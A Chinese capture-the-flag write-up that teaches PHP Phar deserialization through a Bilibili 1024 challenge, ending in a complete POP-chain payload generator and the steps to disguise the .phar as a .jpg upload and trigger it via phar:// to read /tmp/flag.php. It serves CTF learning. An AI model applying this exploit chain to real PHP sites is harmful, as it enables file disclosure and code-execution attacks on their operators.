写在前面:本文尝试用一道例题教会小白 Phar反序列化 以及关于POP链建立时的思考 (第一次写文章,多多包涵)题目来自 《Bilibili 2022 1024 程序员节》
如果读者们接触过java,是知道Jar文件的,一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。
Phar是类似 jar 的一种打包文件,通过将PHP代码文件和其他资源(例如图像,样式表等)打包到一个文件中,本质上是一个压缩文件
通过对官网的查看,可以知道Phar文件的结构如下
1.Stub ---> Phar 的文件头
2.manifest ---> 压缩文件信息
3.contents ---> 压缩文件内容
4.signature ---> 签名
其中 Stub 可以理解是 Phar 的文件头标识,Stub 是一个简单的 PHP 文件,它有一定的格式要求:xxx<?php xxx; __HALT_COMPILER();?>
xxx 里的内容可以自定义,但是__HALT_COMPILER()
是必需的,没有这句 php 语句,PHP就无法识别该文件
manifest 里存放的是文件的属性,权限等详细信息,这里面包含的 Meta-data 是我们主要攻击的地方,这里的 Meta-data 是我们用户自定义的(详细见下图)
contents 用于存放压缩的文件内容
signature 签名(Hash值),参数是可选的(修改签名函数),这里我们只需要知道我们最好是使用脚本创建 Phar 文件,创建好之后就不能轻易修改 Phar 文件中的内容了,否则签名与内容对不上。(修改Phar签名的Python脚本与参考链接我放最后)
PHP_version >=5.3 默认开启支持 Phar 文件,但要创建自己的 Phar 文件的时候,需要进入 php.ini 设置
phar.readonly = Off
否则会报错:Fatal error: Uncaught UnexpectedValueException: creating archive "test.phar" disabled by the php.ini setting phar.readonly in
一个简单的 Phar 文件创建脚本:
<?php class test{ public $name="qwq"; function __destruct() { echo $this->name; } } $a = new test(); $a->name="phpinfo();"; $phartest=new phar('phartest.phar',0); //创建时后缀名必须为phar 上传文件的时候可以修改后缀 bypass $phartest->startBuffering(); //设置缓冲去,准备 Phar 的写操作 $phartest->setMetadata($a);//将自定义的 Meta-data 存入manifest $phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub //stub是一个简单的php文件。PHP通过 stub 识别一个文件为PHAR文件,可以利用这点绕过文件上传检测 $phartest->addFromString("test.txt","test");//添加要压缩的文件以及文件的内容 $phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘 ?>
访问 127.0.0.1/creat_phar.php
,生成 Phar 文件,查看文件:
可以清晰的看到我们自定义的序列化字符串,那么什么时候这个字符串会被反序列化呢?
PHP 大部分的文件系统函数在通过 phar://
伪协议解析 phar 文件时,都会将 meta-data 进行反序列化操作,受影响的函数如下:
能够利用的函数 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
所以当这些函数接收到phar://
伪协议处理到 phar 文件的时候,Meta-data 里的序列化字符串就会被反序列化,实现‘不使用’ unserialize() 函数实现反序列化操作
__destruct( 类执行完毕--PHP文件结束--以后调用,其最主要的作用是拿来做垃圾回收机制。)
__construct( 类一执行就开始调用,其作用是拿来初始化一些值。)
__toString( 在对象当做 字符串 的时候会被调用。)
__wakeup( 该魔术方法在 反序列化 的时候自动调用,为反序列化生成的对象做一些初始化操作 )
__sleep( 在对象被序列化的过程中自动调用。sleep要加数组 )
__invoke( 当尝试以调用函数的方式调用一个对象时,方法会被自动调用 )
__get( 当访问类中的私有属性或者是不存在的属性,触发\_\_get魔术方法 )
__set( 在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!在对象访问一个私有的成员的时候就会自动的调用该魔术方法 )
__call( 当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息 )
__isset( 方法用于检测私有属性值是否被设定。当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!)
__unset( 方法用于删除私有属性。在外部调用类内部的私有成员的时候就会自动的调用该魔术方法 )
序列化时:__construct() __sleep()
反序列化时:__wakeup() __destruct()
前置知识了解的差不多了就该上题了,毕竟这才是主菜。
直接访问 index.php 没有任何信息,在没有任何信息的情况下,目录扫描就是一个思路,目录扫描之后发现了 upload.php 和 upload.html 两个文件
upload.php 给出源码
<?php header("content-type:text/html;charset=utf-8"); date_default_timezone_set('PRC'); if($_SERVER['REQUEST_METHOD']==='POST') { $filename = $_FILES['file']['name']; $temp_name = $_FILES['file']['tmp_name']; $size = $_FILES['file']['size']; $error = $_FILES['file']['error']; if ($size > 2*1024*1024){ echo "<script>alert('文件过大');window.history.go(-1);</script>"; exit(); } $arr = pathinfo($filename); $ext_suffix = $arr['extension']; $allow_suffix = array('jpg','gif','jpeg','png'); if(!in_array($ext_suffix, $allow_suffix)){ echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>"; exit(); } $new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix; move_uploaded_file($temp_name, 'upload/'.$new_filename); echo "success save in: ".'upload/'.$new_filename; } else if ($_SERVER['REQUEST_METHOD']==='GET') { if (isset($_GET['c'])){ include("5d47c5d8a6299792.php"); $fpath = $_GET['c']; if(file_exists($fpath)){ echo "file exists"; } else { echo "file not exists"; } } else { highlight_file(__FILE__); } } ?>
upload.html 就是一个简单的文件上传表单(上传至upload.php)
<html> <head> <meta charset="utf-8"> <title>upload</title> </head> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
简单分析可知,upload.php 有两个功能,如果我们上传了文件,就对我们上传的文件进行处理,用时间戳修改文件名,并且传入 ./upload
文件夹下
如果我们没有传入文件的话,尝试接收GET参数,有设置GET参数的话,包含一个名为 5d47c5d8a6299792.php
的文件,再使用file_exists函数对我们的参数进行处理(我们输入的参数没有经过然后处理)
我们再看看5d47c5d8a6299792.php
文件,同样也是给出了源码
<?php // flag in /tmp/flag.php class Modifier { public function __invoke(){ include("index.php"); } } class Action { protected $checkAccess; protected $id; public function run() { if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){ echo "error path"; exit(); } if ($this->id !== 0 && $this->id !== 1) { switch($this->id) { case 0: if ($this->checkAccess) { include($this->checkAccess); } break; case 1: throw new Exception("id invalid in ".__CLASS__.__FUNCTION__); break; default: break; } } } } class Content { public $formatters; public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } public function __call($name, $arguments) { return call_user_func_array($this->getFormatter($name), $arguments); } } class Show{ public $source; public $str; public $reader; public function __construct($file='index.php') { $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString() { $this->str->reset(); } public function __wakeup() { if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) { throw new Exception('invalid protocol found in '.__CLASS__); } } public function reset() { if ($this->reader !== null) { $this->reader->close(); } } } highlight_file(__FILE__);
提示 flag
在 /tmp/flag.php
,然后给出了一些类,仔细观察,发现了include($this->checkAccess)
,其中这个$this->checkAccess
没有经过严格的过滤,如果我们设置为/tmp/flag.php
完全是可以的,那么加上有前置知识的储备,这时候就出现了一个大致的思路:
phar://
伪协议!!找到我们上传的文件,触发反序列化,最终实现目标文件的包含所以现在的难点在于我们如何构造这个序列化字符串呢?
有两个下手点
__wakeup() __destruct()
魔法函数,发现没有__destruct()
,只有 Show 类中有 __wakeup()
,可以正向思维构造POP链include($this->checkAccess)
,所以我们应该想办法运行 Action 中的 run()
file_exists() 触发 Show::__wakeup() --> ............. --> Action::run()
)但不管正向思维还是逆向思维,现在都没办法直接找到一条路,所以我们继续看完5d47c5d8a6299792.php
的源代码,发现了很多有用的信息,有很多POP链中常用的魔法函数,并且类 Content
有call_user_func_array()
这样的大杀器
也许能使用的魔法函数:
__toString() __wakeup() __call() __invoke()
以及call_user_func_array()
所以我们的构造应该使用call_user_func_array()
为跳板,去运行 Action 中的run()
call_user_func_array()调用类方法(参考call_user_func()
可以发现以下)
支持这样的调用:
call_user_func_array(array($a,'func'),"a")
其中$a
是一个对象,调用了 a 对象的类中的func()
函数,且参数是"a"
知道这一点之后,POP链的最后一条就出来了call_user_func_array--> Action::run()
file_exists() 触发 Show::__wakeup() --> ............. -->Content::__call(){call_user_func_array} --> Action::run()
)且因为call_user_func_array()
是__call()
魔法函数中的一条,由前置知识的储备可知
__call( 当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息 )
例如:<?php class test{ public $test; public function __call($name,$arguments){ echo "你调用的函数不存在<br><br>"; echo "你调用的函数名:"; var_dump($name); echo "<br>"; echo "你所使用的参数:"; var_dump($arguments); } } $a = new test(); $a->null_func("This is arg"); ?>该 php 的运行结果为
所以我们应该关注有类似$this->xxx->xxx()
调用函数的地方,且类 Content
没有我们尝试调用的函数:
为什么是
$this->xxx->xxx()
呢?
因为我们需要指定是 Content 类的xxx()
函数,如果$this->xxx
可控,那么就能使其成为 Content 类的对象,然后$this->xxx->xxx()
就会变成Content 类对象->xxx()
,这时xxx()
不存在,php就会去调用Content::__call()
啦
Show::reset() { $this->reader->close();}
调用合理,Content
类中没有close()
的定义,但由于reset()
不是魔法函数,无法实现自动调用,或者需要通过call_user_func_array()
调用,形成”悖论“
Show::__toString() { $this->str->reset();}
函数合理,Content
类中没有reset()
的定义,且处于魔法函数中,情况较为理想,作为一个方案无其他类似
$this->xxx->xxx()
的函数调用
那么我们到目前位置只能调用的就是Show::__toString()
了,那么__toString()
怎么调用呢?由前置知识的储备可知:
__toString( 在!对象当做字符串 !的时候会被调用。)
重点是当对象被当作字符串解析的时候!!!__toString()
就会进行相关的处理
例如<?php class test{ public $test; public function __toString(){ echo "我是对象喔,我不是字符串,不过也行"; return "哎哟你干嘛"; } } $a = new test(); echo "即将进行字符串拼接<br>"; $b = "我负责组成头部 ".$a." 我负责组成扁桃体"; echo "<br>"; var_dump($b); ?>
运行结果是:
所以我们要找到有 $this->xxx
被当成字符串处理的地方,这时候 $this->xxx
如果可控,我们设置其为 Show 类的对象,即可成功调用Show::__toString()
回头看看代码,Action::run()
中有很多,但是我们的目的就是调用Action::run()
,如果能提前调用Action::run()
,那我们就不需要构造POP链了
找到可以利用的点,只要我们设置$this->source
为 Show 类的对象,就能调用Show::__toString()
,而刚好preg_match()
处在Show::__wake()
即反序列化的入口,由此,一个完整的POP链就出现了
file_exists() 触发 Show::__wakeup(){ preg_match() } --> Show::__toString(){ $this->str->reset(); } -->Content::__call(){ call_user_func_array } --> Action::run()
)其实在自己分析构造POP链时,没有那么顺利,应该多从逆向思维和正向思维,再结合知识储备多思考,灵活地利用看似无害的东西构造出精美的武器,是黑客的艺术(扯远了
此时我们应该构造的类结构,对应 POP 链也就呼之欲出了:
最外层是 Show 类对象
作用是使file_exists()
能触发Show::__wakeup()
最外层 Show 类对象里的
$source
,应该是另一个 Show 类对象
作用是当最外层Show::__wakeup()
调用时,执行到preg_match()
时,将$this->source
,即最外层的 Show 类对象的$source
当成字符串处理时(此时$source
是 Show 对象)触发了$source
(第二层 Show 对象)的Show::__toString()
第二层Show对象里的
$str
,应该是一个 Content 类对象
作用是当第二次的Show::__toString()
调用时,执行$this->str->reset();
此时$this->str
是 Content 对象,即调用Content::reset()
,函数不存在,触发Content::__call()
此时POP到了Content::__call()
,且此时Content::__call()
的参数$name,$arguments
是确定的
因为是通过$this->str->reset();
来调用的Content::__call()
,所以此时的$name="reset"
,而$arguments=''
(因为$this->str->reset();
时没有参数)
图片
接下来就是call_user_func_array($this->getFormatter($name), $arguments);
了,其中$name
会被$this->getFormatter()
处理(即Content::getFormatter()
)又因为call_user_func_array()
只接收array()
类型数据
所以函数处理之后,我们希望$this->getFormatter($name)
的返回值是一个array('Action','run')
或者array($a,'run')
($a 是一个Action实例化对象)
但在我们进入Action::run()
后,还希望控制一些成员的具体值,所以选择array($a,'run')
这种返回值是可解的
我们再跟进getFormatter()
can can 如何得到返回值
相较与后一个 return ,前一个 return 简单粗暴,所以我就使用前一个构造了
我们构造的$this->formatters
应该是一个 array,里面含有一个键名 "reset" ,且$this->formatters["reset"]
的值是 array($a,'run')
,$a
是一个 Action 类对象
此时 call_user_func_array($this->getFormatter($name), $arguments);
的最终形态就是
call_user_func_array(array($a,'run'), $arguments);
参数$arguments
均为空即可
此时就能调用Action::run()
啦,再设置一下$a
这个 Action 类的成员值
$checkAccess = 'PHP://filter/read=convert.base64-encode/resource=/tmp/flag.php';
$id = '0'; // 强比较和弱比较考点
我们就能文件包含 base64 加密后的 /tmp/flag.php 了
最后贴上我的payload生成脚本:(里面有些本地调试的代码,请忽略哈哈哈哈哈哈)
<?php // flag in /tmp/flag.php use Show as GlobalShow; class Modifier { public function __invoke(){ include("index.php"); } } class Action { protected $checkAccess; protected $id; public function __construct() { $this->checkAccess = 'PHP://filter/read=convert.base64-encode/resource=/tmp/flag.php'; $this->id = '0'; } public function run() { if(strpos($this->checkAccess, 'uplod') !== false){ echo "error path"; exit(); } if ($this->id !== 0 && $this->id !== 1) { switch($this->id) { case 0: echo 'id = 0'; echo "<br>"; if ($this->checkAccess) { include($this->checkAccess);#----------------------- } break; case 1: echo 'id = 1'; echo "<br>"; throw new Exception("id invalid in ".__CLASS__.__FUNCTION__); break; default: echo "default"; echo "<br>"; break; } } } } class Content { public $formatters; public function __construct() { $a = new Action(); echo 'formatters = '; var_dump($this->formatters); $this->formatters = array("reset"=>array($a,"run")); #$this->formatters = array("reset"=>array("","__invoke")); #$this->providers = new Action(); } public function getFormatter($formatter) { echo "<br>"; echo 'getFormatter'; echo "<br>"; echo "\$formatter = "; var_dump($formatter); echo "<br>"; var_dump($this->formatters); echo "<br>"; echo "\$this->formatters[$formatter] = "; var_dump($this->formatters[$formatter]); if (isset($this->formatters[$formatter])) { echo "<br>"; echo "set"; echo "<br>"; return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } public function __call($name, $arguments)#调用Conetent类中不存在的函数 { #echo "Thrid<br>"; #echo "<br>"; echo "\$name = "; var_dump($name); echo "<br>"; var_dump($this->getFormatter($name)); echo "<br>"; echo "retrun ^ "; echo "<br>"; echo "<br>"; /* echo "\$arguments = "; var_dump($arguments); */ echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>"; return call_user_func_array($this->getFormatter($name), $arguments);#调用Action run } } class Show{ public $source; public $str; public $reader; public function __construct($file='index.php') { $this->source = $file; $this->str = new Content(); #echo 'Welcome to '.$this->source."<br>";#触发 _toString 但是只有在new时触发 基本没用 } public function __toString() { #echo 'Second<br>'; $this->str->reset(); } public function __wakeup() { echo "<br>"; echo "<br>"; if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {#触发 _toString throw new Exception('invalid protocol found in '.__CLASS__);#抛出异常,显示当前的类名 } } public/* static */ function reset() { echo '2'; if ($this->reader !== null) { $this->reader->close(); } } } #$c = new Action(); #var_dump(method_exists('Show','__wakeup')); #call_user_func_array(array('Modifier','__invoke'),array()); #echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>"; $a = new Show(); $b = new Show(); $b->source = $a; #var_dump($b); /* echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>"; echo serialize($b); */ $phar=new phar('1234.phar');//后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>");//设置stub #$obj=$b; echo serialize($b); $phar->setMetadata($b);//自定义的meta-data存入manifest $phar->addFromString("flag.txt","yoxi");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); #echo "serialize(\$b) = "; #unserialize(serialize($b));
然后我们只需要拿着我们生成的 1234.phar 修改后缀为 .jpg 然后上传,得到文件路径后再对 upload.php GET传参:
?c=phar://upload/xxx.jpg/flag.txt
即可拿到flag
本次题目是本人第一次独立做出的一道还算有点难度的Web题,算是对最近一段时间的学习有了一个自我认可,写这篇文章也是再重新梳理思路的同时,给需要的读者一些帮助
https://www.php.net/manual/zh/phar.fileformat.ingredients.php
https://paper.seebug.org/680/